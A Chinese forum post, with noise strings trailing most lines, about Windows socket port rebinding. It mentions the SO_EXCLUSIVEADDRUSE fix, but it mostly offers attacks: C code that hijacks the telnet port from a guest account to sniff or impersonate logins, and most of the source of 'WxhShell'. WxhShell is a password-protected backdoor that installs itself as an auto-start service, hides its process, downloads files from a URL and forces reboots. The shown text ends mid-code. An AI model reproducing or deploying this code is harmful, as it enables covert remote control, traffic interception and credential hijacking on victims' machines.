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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: $Ln2O#  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); PRf\6   
~pBxFA  
  saddr.sin_family = AF_INET; HjF'~n  
xzf)_ <  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); @ :   
:-'ri Ry  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); fS$Yl~-m?  
z )}wo3  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 #( Yb lY  
Y<$"]@w  
  这意味着什么?意味着可以进行如下的攻击: [?r\b  
93p9?4;n-  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 M+&eh*:z:  
Z_ *ZUN?B  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 6I.+c  
B(vz$QE,$r  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 gdn,nL`dP  
1XKIK(l  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  P6Z,ci17  
'A@Oia1;{  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ewlc ^`  
g='2~c  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 &(U=O?r7  
` ];[T=  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ;0}"2aGY  
|`9zE]  
  #include I)4|?tb ?  
  #include Qz90 mb  
  #include !~DkA7i55  
  #include    YO4ppL~xe  
  DWORD WINAPI ClientThread(LPVOID lpParam);   w0>)y -  
  int main() *xNjhR]7v  
  { /|^^v DL  
  WORD wVersionRequested; .c K  
  DWORD ret; C2%3+  
  WSADATA wsaData; wx7>0[zE  
  BOOL val; pv.),Iv-68  
  SOCKADDR_IN saddr; `)_FO]m}jS  
  SOCKADDR_IN scaddr; d~s-;T  
  int err; ?fwr:aP~  
  SOCKET s; g}`CdVQ2M<  
  SOCKET sc; =7Gi4X%  
  int caddsize; -BH'.9uqGQ  
  HANDLE mt;  ]@ 0V  
  DWORD tid;   "@bk$o=  
  wVersionRequested = MAKEWORD( 2, 2 ); % ieAY-<"  
  err = WSAStartup( wVersionRequested, &wsaData ); e"09b<69  
  if ( err != 0 ) { (.t:sn"P  
  printf("error!WSAStartup failed!\n"); s0'U[]  
  return -1; C/#/F#C  
  } N^j''siB  
  saddr.sin_family = AF_INET; o{,(`o.1O  
   C8SNSeg  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 G!Q)?N    
V#FLxITk  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); g4932_tC  
  saddr.sin_port = htons(23); l)eaIOyk  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) G4]``  
  { gC:E38u  
  printf("error!socket failed!\n"); 'Pn`V{a  
  return -1; LD"}$vfs  
  } @ uWD>(D  
  val = TRUE; QpZhxp  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 /FXfu  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) cE#Y,-f  
  { qTex\qP  
  printf("error!setsockopt failed!\n"); -M9 4 F  
  return -1; vdM\scO:  
  } kF7Al]IgT  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; AY]nc# zz  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 rGO 3  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 z[Qv}pv  
3Pq)RD|hn  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Ku# _   
  { Sy~Mh]{E  
  ret=GetLastError(); CbQ%[x9|  
  printf("error!bind failed!\n"); hWJc A.A  
  return -1; W6>uLMUa  
  } y%AJ>@/;  
  listen(s,2); U3QnWPt}>  
  while(1) Rx<F^J  
  { Lr&tpB<  
  caddsize = sizeof(scaddr); #v<+G=r*O  
  //接受连接请求 w9BH>56/"  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); u?i1n=Ne  
  if(sc!=INVALID_SOCKET) HBu>BSv:  
  { bvKi0-  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); `w }"0+V  
  if(mt==NULL) aV.<<OS   
  { t~M_NEPxV  
  printf("Thread Creat Failed!\n"); P&VI2k  
  break; F'!}$oT"  
  } 4#uoPkLK  
  } cR} =3|t  
  CloseHandle(mt); dWSH\wm+  
  } b/`' ?| C  
  closesocket(s); [%y D,8  
  WSACleanup(); y.2 SHn0  
  return 0; 9|,AhyhO  
  }   `x3c},'@k  
  DWORD WINAPI ClientThread(LPVOID lpParam) AnQRSB (  
  { !k^\`jMzw  
  SOCKET ss = (SOCKET)lpParam;  :n4x}%  
  SOCKET sc; BVDo5^&W  
  unsigned char buf[4096]; (A_9;uL^_  
  SOCKADDR_IN saddr; 4!wfh)Z  
  long num; c"r( l~fc  
  DWORD val; D]REZuHOI  
  DWORD ret; xe' *%3-v)  
  //如果是隐藏端口应用的话,可以在此处加一些判断 !% Md9Mu!o  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   d!cx%[  
  saddr.sin_family = AF_INET; b%6 _LK[  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ~?FKww|_*J  
  saddr.sin_port = htons(23); *(J<~:V?  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) D KOdqTW  
  { uWSG+  
  printf("error!socket failed!\n"); QQcJUOxT9  
  return -1; 4U3T..wA  
  } O\?ei+(H7  
  val = 100; Im2g2 ]  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) dJk.J9Z  
  { a"EXR-+8  
  ret = GetLastError(); JkTL+obu  
  return -1; vhKD_}}aP  
  } H3JWf MlW  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ufmFeeg  
  { LS;kq',  
  ret = GetLastError(); 5we1q7  
  return -1; sy~mcH:%+  
  } 7ORwDR,`5  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) `C3F?Lch  
  { ~dv C$   
  printf("error!socket connect failed!\n"); {"s8X(#_sC  
  closesocket(sc); XS>4efCJ  
  closesocket(ss); x9a0J1Nb-h  
  return -1; 3=z'Ih`  
  } a83o (9  
  while(1) u VB&D E  
  { 9.<$&mVk7`  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 0=~Ji_5mB  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 xZ .:H&0G  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 NWFZ:h@v  
  num = recv(ss,buf,4096,0); %"o4IYV#  
  if(num>0) JAYom%A"  
  send(sc,buf,num,0); l-5-Tf&j  
  else if(num==0) ]:F]VRPT  
  break; 0&<{o!>k  
  num = recv(sc,buf,4096,0); :iq1-Pw  
  if(num>0) N52N ^X>  
  send(ss,buf,num,0); rLp0VKPe  
  else if(num==0) Oa{M9d,l  
  break; XBBsdldZ  
  } kIQMIL0+  
  closesocket(ss); T. {P}#'|  
  closesocket(sc); 4!D!.t~r  
  return 0 ; <[(xGrEZV  
  } Fq~de%y  
U<Ag=vsZE  
*T 6<'a  
========================================================== 5<9}{X+@o  
u)%J5TR.Y  
下边附上一个代码,,WXhSHELL bjbm"~  
zvE]4}VL?  
========================================================== [(]uin+9Q  
}6`#u :OZ  
#include "stdafx.h" fy7]I?vm@  
.7{,u1N'  
#include <stdio.h> /:l>yKI+~  
#include <string.h> PE-Vx RN)  
#include <windows.h> wTqgH@rGtR  
#include <winsock2.h> UkeX">  
#include <winsvc.h> _HGbR/  
#include <urlmon.h> GkVV%0;&J1  
k]w;(<  
#pragma comment (lib, "Ws2_32.lib") `N;JM3 ck  
#pragma comment (lib, "urlmon.lib") K%)u zP  
g\GuH?|   
#define MAX_USER   100 // 最大客户端连接数 |G } qY5_  
#define BUF_SOCK   200 // sock buffer J&2cf#  
#define KEY_BUFF   255 // 输入 buffer uK1DC i  
o^H.uBO{  
#define REBOOT     0   // 重启 /a Nlr>^  
#define SHUTDOWN   1   // 关机 1)w^.8f  
l'm!e'7_  
#define DEF_PORT   5000 // 监听端口 V-IXtQR  
?`lIsd  
#define REG_LEN     16   // 注册表键长度 LS <\%A}  
#define SVC_LEN     80   // NT服务名长度 6;Wns'  
ch!/k  
// 从dll定义API G*JasHFs  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Gg$4O8  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 8k vG<&D  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); /'O? 8X<  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); )T&ZiHIJ3  
nW1u;.  
// wxhshell配置信息 c>mTd{Abi  
struct WSCFG { lp+Uox  
  int ws_port;         // 监听端口 jI[Y< (F ;  
  char ws_passstr[REG_LEN]; // 口令 ?$J#jhR?  
  int ws_autoins;       // 安装标记, 1=yes 0=no EIug)S~  
  char ws_regname[REG_LEN]; // 注册表键名 m -]E|  
  char ws_svcname[REG_LEN]; // 服务名 Tmjcc(  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 =^3 Z L  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Nz1u:D]  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 +`=rzL"0I7  
int ws_downexe;       // 下载执行标记, 1=yes 0=no | $  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" POB6#x  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 yI$KBx/]n  
E?v:7p<  
}; ^Q,-4\ec  
.|UIZwW0  
// default Wxhshell configuration t.X8c/,;g  
struct WSCFG wscfg={DEF_PORT, DXyRNE<G[C  
    "xuhuanlingzhe", &65I 6  
    1, s`#g<_{X  
    "Wxhshell", ~'lYQ[7  
    "Wxhshell", pd^"MG  
            "WxhShell Service",  |pgrR7G'  
    "Wrsky Windows CmdShell Service", ;T hn C>U  
    "Please Input Your Password: ", iewwL7  
  1, b=+3/-d  
  "http://www.wrsky.com/wxhshell.exe", ,)?!p_*@:  
  "Wxhshell.exe" d RIuA)0s  
    }; N.'-9hv  
ze"`5z26|  
// 消息定义模块 JIatRc?g  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Bi-x gq'z  
char *msg_ws_prompt="\n\r? for help\n\r#>"; !:2_y'hA  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; %1\~OnT  
char *msg_ws_ext="\n\rExit."; Mh "iyDGA  
char *msg_ws_end="\n\rQuit."; 2=IZD `{!  
char *msg_ws_boot="\n\rReboot..."; t9~Y ?  
char *msg_ws_poff="\n\rShutdown..."; yU|=)p5  
char *msg_ws_down="\n\rSave to "; Lrjp  
aOhi<I`*  
char *msg_ws_err="\n\rErr!"; >c)-o}bd^  
char *msg_ws_ok="\n\rOK!"; 0JE*|CtK  
y/Ui6D  
char ExeFile[MAX_PATH]; ,8[R0wsBaz  
int nUser = 0; B,b^_4XX$  
HANDLE handles[MAX_USER]; R!>l7p/|H)  
int OsIsNt; ^]k=*>{ R  
X?7s  
SERVICE_STATUS       serviceStatus; w!r.MWE  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; n #PXMD*  
^XT;n  
// 函数声明 *4y0Hq  
int Install(void); }xJ!0<Bs  
int Uninstall(void); &SMM<^P.  
int DownloadFile(char *sURL, SOCKET wsh); ;>CM1  
int Boot(int flag); a|-B#S  
void HideProc(void); /u~L3Cp(  
int GetOsVer(void); efK WR  
int Wxhshell(SOCKET wsl); 6m0- he~  
void TalkWithClient(void *cs); Dc9Fb^]QOG  
int CmdShell(SOCKET sock); "lA8CA  
int StartFromService(void); Dco3`4pl  
int StartWxhshell(LPSTR lpCmdLine); xzw2~(lo  
a;f A0_  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ({<qs}H"  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); !DBaC%TGC  
{# N,&?[  
// 数据结构和表定义 u}-)ywX  
SERVICE_TABLE_ENTRY DispatchTable[] = 2,rjy|R`  
{ }F-,PSH Ml  
{wscfg.ws_svcname, NTServiceMain}, .-:@+=(  
{NULL, NULL} 4oPr|OKj{*  
}; Na.)!h_Kn'  
;F:Qz^=.a  
// 自我安装 7Ga'FT.F  
int Install(void) i9^m;Y)^I  
{ 2NF#mWZ(s  
  char svExeFile[MAX_PATH]; 6'|NALW  
  HKEY key; S[y?>  
  strcpy(svExeFile,ExeFile); OSkBBo]~z  
Mb+CtI_'  
// 如果是win9x系统,修改注册表设为自启动 =k2"1f~e  
if(!OsIsNt) { x8Nij: K#  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { w1)SuMFK_  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ;m}o$`  
  RegCloseKey(key); Fv3:J~Yf  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { i&Me7=~  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 84c[Z   
  RegCloseKey(key); +~?K@n  
  return 0; 2(>=@q.1H  
    } H8$";T(I  
  } *cc|(EM  
} 70E@h=oQ  
else { trg&^{D<  
s/OXZ<C|  
// 如果是NT以上系统,安装为系统服务 8_uh2`+Bvb  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ZowPga  
if (schSCManager!=0) nEh^{6  
{ 'p4b8:X  
  SC_HANDLE schService = CreateService *Vp$#Rb  
  ( y:dwx*Q9I  
  schSCManager, V5]:^=  
  wscfg.ws_svcname, M5l*D'GE]  
  wscfg.ws_svcdisp, MKr:a]-'f~  
  SERVICE_ALL_ACCESS, n4G53+y'  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ?`Som_vKO  
  SERVICE_AUTO_START, mG+hLRTXP  
  SERVICE_ERROR_NORMAL, J!*Pg<  
  svExeFile, FUKE.Uxd  
  NULL, +( V+XT  
  NULL, J9`[Qy\  
  NULL, ^g*/p[  
  NULL, ii]'XBSVd  
  NULL <>K@#|%Y&  
  ); nuX W/7M  
  if (schService!=0) \ /6m  
  { !Mk:rO-L  
  CloseServiceHandle(schService); f>C|qDmT  
  CloseServiceHandle(schSCManager); |cq%eN  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); h}$]3/5H  
  strcat(svExeFile,wscfg.ws_svcname); ?u8 vK<2h  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Ow7I`#P  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ^9I^A!w=  
  RegCloseKey(key); s\ i.pd:Q  
  return 0; %]@K}!)2  
    } {T[/B"QZG  
  } }V % b  
  CloseServiceHandle(schSCManager); 9wC:8@`6E  
} L8j#l u  
} r.;(Kx/M  
vH^^QI:em  
return 1; ^, KN@  
} zwKm;;v8  
q7% eLJ  
// 自我卸载 ps6c>AN`A&  
int Uninstall(void) a4M`Bk;mb  
{ {bvm83{T  
  HKEY key; 8M;G@ Q80  
o$r]Z1  
if(!OsIsNt) { g1`/xJz|  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { U"v}br -kb  
  RegDeleteValue(key,wscfg.ws_regname); _"`U.!3*  
  RegCloseKey(key); md/Z[du:'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { /Iu._2  
  RegDeleteValue(key,wscfg.ws_regname); i>[1^~;  
  RegCloseKey(key); :B'}#;8_  
  return 0; & xqr&(o  
  } < &'r_m  
} 2;`"B|-T  
} a;`-LOO5&  
else { _k@{> ?(a  
(dF4F4`{  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ^eEj 5Rh  
if (schSCManager!=0) +B@NSEy/+  
{ Y2Y2>^  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 3Ecm Nwr  
  if (schService!=0) y6o^ Knl  
  { EhybaRy;C  
  if(DeleteService(schService)!=0) { %zyMWC  
  CloseServiceHandle(schService); [hS?d.D   
  CloseServiceHandle(schSCManager); v;;X2 a1k  
  return 0; bkl'0 p  
  } >M^ 1m(  
  CloseServiceHandle(schService); AAdRuO{l1  
  } Sh]x`3 ).  
  CloseServiceHandle(schSCManager); ~&~%qu  
} z[S,hD\w  
} S~F:%@,*  
tGd<{nF%2  
return 1; v-) eT  
} ZjEO$ ts=@  
!o4xI?  
// 从指定url下载文件 bYdC.AE  
int DownloadFile(char *sURL, SOCKET wsh) ,/W< E  
{ Vrz!.X~  
  HRESULT hr; RQU5T 2,  
char seps[]= "/"; #Y}Hh7.<  
char *token; NI(`o8fN  
char *file; BPrA*u }T  
char myURL[MAX_PATH]; H8K<.RY  
char myFILE[MAX_PATH]; Xx|&%b{{r  
Bw*z4qb{yH  
strcpy(myURL,sURL); MQY1he2M  
  token=strtok(myURL,seps); D-3/?"n  
  while(token!=NULL) vo`wYJ3W  
  { ,0&lag  
    file=token; R C (v#G  
  token=strtok(NULL,seps); 31>k3IP&  
  } -t6d`p;dR  
MmWJYF=  
GetCurrentDirectory(MAX_PATH,myFILE); pN0c'COy^  
strcat(myFILE, "\\"); N`Bt|#R  
strcat(myFILE, file); P>@`hZ9 o  
  send(wsh,myFILE,strlen(myFILE),0); rpEFyHorJ  
send(wsh,"...",3,0); rY!uc!  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); XFu@XUk!K  
  if(hr==S_OK) pXFNK" jm  
return 0; g=Qga09  
else f6L_u k`{  
return 1; Msd!4TrBJ  
:LBe{Jbw  
} jm-0]ugY&`  
U[A*A^$c}  
// 系统电源模块 Bd NuhV`0  
int Boot(int flag) mLk Z4OZ  
{ ZHC sv]l  
  HANDLE hToken; zi?'3T%Ie  
  TOKEN_PRIVILEGES tkp; .v" lY2:N  
 +rT(  
  if(OsIsNt) { owMH  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ,\IqKRcYU  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 'hek CZZ_I  
    tkp.PrivilegeCount = 1; D} .t  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; S-rqrbr|AT  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); /hX"O ?^  
if(flag==REBOOT) { VNYLps@4H  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) huF L [  
  return 0; ]F@md(J  
} H~ZSw7!M8  
else { k( g$_ ]X  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) &16bZw  
  return 0; R&4E7wrdP  
} *[SsvlFt  
  } m_(hCY=Q$  
  else { tH'VV-!MZ  
if(flag==REBOOT) { s^oNQ}  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) zJnVO$A'  
  return 0; Wl#^Eu\g1W  
} n21$57`4  
else { 7k\7G=  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) og\XLJ}_  
  return 0; }-L@AC/\#  
} !X8UP{J)L  
} DrEtnt   
S!q}Pn  
return 1; {6n \532@  
} )j6>b-H   
$McO'Bye{h  
// win9x进程隐藏模块 v$i%>tQ\  
void HideProc(void) [;=ky<K0E  
{ Dgm%Ng  
A C^[3  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); cP2R2 4th  
  if ( hKernel != NULL ) ^ <VE5OM  
  { ;iORfUjxrq  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); VjqdKQeVq  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 668bJ.M\O  
    FreeLibrary(hKernel); 1Q J$yr  
  } I.u,f:Fl'  
N1!5J(V4  
return; N ACY;XQ%  
} C%c `@="b  
GF!{SO4  
// 获取操作系统版本 | q16%6q  
int GetOsVer(void) !5OMAWNU@  
{ a1`cI5n  
  OSVERSIONINFO winfo; w)eQ'6Vu  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); />[6uvy#Q  
  GetVersionEx(&winfo); 'Xl>,\'6  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) %gMpV  
  return 1; YB{E= \~  
  else c2\vG  
  return 0; $JB:rozE  
} $l;tP  
L[G\+   
// 客户端句柄模块 G^ZkY  
int Wxhshell(SOCKET wsl) _*$B|%k   
{ +Jka:]MW!  
  SOCKET wsh; \ui^ d  
  struct sockaddr_in client; m90R8  V  
  DWORD myID; 8Qz7uPq  
IaTq4rt  
  while(nUser<MAX_USER) e6i./bf3  
{ K^vp(2  
  int nSize=sizeof(client); !en F8a  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); O 4Pd N?  
  if(wsh==INVALID_SOCKET) return 1; !$xEX,vj|W  
CotMV^   
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 01c/;B  
if(handles[nUser]==0) /N]Ow  
  closesocket(wsh); ;~:Ryl M  
else N"x\YHp  
  nUser++; V=4u7!ha  
  } lcT+$4zk.  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); i)=89?8  
EOnp!]Y  
  return 0; )]b@eGNGj  
} mERZ_[a2  
Xf_tj:eO~  
// 关闭 socket 8cBW] \ v  
void CloseIt(SOCKET wsh) ~R?dDL  
{ D@(M+u9/%  
closesocket(wsh); g. Caapy  
nUser--; FX|lhwmc(  
ExitThread(0); t6%xit+  
} d+m6-4[_k  
c7l!G~yx'  
// 客户端请求句柄 Xq^y<[  
void TalkWithClient(void *cs) N]s7/s  
{ &^ 3~=$  
[mB(GL  
  SOCKET wsh=(SOCKET)cs; -90ZI1O`  
  char pwd[SVC_LEN]; t1:S!@  
  char cmd[KEY_BUFF]; _czbUl  
char chr[1]; #1jtprc  
int i,j; `^&15?Wk  
Y0L5W;iM  
  while (nUser < MAX_USER) { V:F+HMBk  
Wq{d8|)1  
if(wscfg.ws_passstr) { _Xk03\n6  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); H81.p  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 5y[b8mur  
  //ZeroMemory(pwd,KEY_BUFF); {Ukc D+.Y  
      i=0; LG Y!j_bD  
  while(i<SVC_LEN) { 5&-j{J0iV  
YM`:L  
  // 设置超时 Vyq#p9Q  
  fd_set FdRead; 0?6 If+AC  
  struct timeval TimeOut; u1pc5 Y{  
  FD_ZERO(&FdRead); l6 S19Kv  
  FD_SET(wsh,&FdRead); a*W_fxb  
  TimeOut.tv_sec=8; '!+ P{  
  TimeOut.tv_usec=0; GTp?)nh^  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); w;yiX<t<  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); z|G|Y 22  
/jZaU`  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 0\EpH[m}-  
  pwd=chr[0]; +#-kIaU  
  if(chr[0]==0xd || chr[0]==0xa) { +3/k/W  
  pwd=0;  4]DAh  
  break; 3WO#^}t  
  } f!M[awj%  
  i++; L@1,7@  
    } ~),;QQ,  
P7'oXtW{o  
  // 如果是非法用户,关闭 socket W9&0k+#^  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); D4=..;  
} {[M0y*^64$  
ba(arGZ+{  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); zp7V\W; &  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); i\kTm?BQZ  
4 |zdXS  
while(1) { L,Ao.?j  
c N02roQl  
  ZeroMemory(cmd,KEY_BUFF); dN$ 1$B^k  
N_u&3CG  
      // 自动支持客户端 telnet标准   <mv7HKVg  
  j=0; a)3O? Y  
  while(j<KEY_BUFF) { )z2|"Lp  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Fb<n0[m  
  cmd[j]=chr[0]; ~q0I7M  
  if(chr[0]==0xa || chr[0]==0xd) { F[>7z3I  
  cmd[j]=0; <^,o$b  
  break; Ujce |>Wn  
  } @k=cN>ZMc  
  j++; d&}pgb-Md  
    } +R|U4`12  
}1U#Ve,=_  
  // 下载文件 2Pbe~[  
  if(strstr(cmd,"http://")) { ]]el|  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); <Vz<{W3t  
  if(DownloadFile(cmd,wsh)) %v5)s(Yu  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); rPRrx-A  
  else nkCecwzr-  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); a$w},= `E  
  } t9G}Yd[T  
  else { T?W[Z_D  
Cw 1 9y  
    switch(cmd[0]) { BX@pt;$ek7  
  q:vz?G  
  // 帮助 4rI:1 yGt@  
  case '?': { sCVI 2S!L  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); lkV6qIj   
    break; *f79=x  
  } g(m xhD!k  
  // 安装 Uh>.v |P6  
  case 'i': { 1s Br.+p  
    if(Install())  KR&s?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `'u Umyg  
    else CXTt(-FT  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); BR;QY1  
    break;  OQ6sv/  
    } A^pu  
  // 卸载 _)Qy4[S=d  
  case 'r': { {]=v]O |,  
    if(Uninstall()) I[ai:   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); g]za"U|g  
    else 9ftN8Svw  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); lY.B  
    break; , 7Xqte  
    } 'V&2Xvl%  
  // 显示 wxhshell 所在路径 nB=0T`vQ  
  case 'p': { h}avX*Lx_  
    char svExeFile[MAX_PATH]; .Y!:x =e  
    strcpy(svExeFile,"\n\r"); !6Q`>s]  
      strcat(svExeFile,ExeFile);  JX{KYU  
        send(wsh,svExeFile,strlen(svExeFile),0); mG_BM/$  
    break; 9UP:J0 `  
    } Id %_{),HX  
  // 重启 ^;zWWg/d  
  case 'b': { ^ |aNG`|O  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); z5 Bi=~=#  
    if(Boot(REBOOT)) ob'n{T+lZ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @;m$ua*|:  
    else {  Vu [:A  
    closesocket(wsh); _S"f_W  
    ExitThread(0); 0qv$:w)g+v  
    } =2,0Wo]$  
    break; i&A%"lOI9  
    } u?kD)5Nk  
  // 关机 )Pli})   
